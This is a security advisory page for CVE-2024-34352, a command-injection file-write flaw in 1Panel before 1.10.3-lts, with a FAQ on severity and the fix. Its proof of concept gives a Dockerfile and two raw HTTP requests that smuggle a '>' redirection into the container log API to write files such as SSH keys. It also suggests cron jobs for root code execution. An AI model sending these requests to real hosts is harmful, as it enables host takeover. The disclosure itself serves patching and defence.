CVE-2024-34352: Arbitrary file write vulnerability in 1Panel
First published: Thu May 09 2024(Updated: )
### Summary There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol `>` to achieve arbitrary file writing ### PoC Dockerfile ``` FROM bash:latest COPY echo.sh /usr/local/bin/echo.sh RUN chmod +x /usr/local/bin/echo.sh CMD ["echo.sh"] ``` echo.sh ``` #!/usr/local/bin/bash echo "Hello, World!" ``` Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking care to change the containerID to the malicious container we constructed ``` GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1 Host: xxxx:42713 Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Upgrade: websocket Origin: http://xxx:42713 Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA== ``` Then you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges ``` GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1 Host: xxx:42713 Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Upgrade: websocket Origin: http://xxx:42713 Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA== ``` Or write a timed task to execute any command. ### Impact The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover
Credit: security-advisories@github.com security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| go/github.com/1Panel-dev/1Panel | <1.10.3-lts | 1.10.3-lts |
| 1Panel | <1.10.3-lts |
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Reference Links
Frequently Asked Questions
What is the severity of CVE-2024-34352?
CVE-2024-34352 is a high severity vulnerability due to its potential to allow remote code execution through command injection.
How do I fix CVE-2024-34352?
To fix CVE-2024-34352, update to the latest version of the affected software 1Panel, specifically 1.10.3-lts or later.
What types of attacks can CVE-2024-34352 facilitate?
CVE-2024-34352 can facilitate arbitrary file writes and remote code execution attacks.
Which versions of 1Panel are affected by CVE-2024-34352?
All versions of 1Panel prior to 1.10.3-lts are affected by CVE-2024-34352.
Who is impacted by CVE-2024-34352?
Organizations using affected versions of the 1Panel software are impacted by CVE-2024-34352.
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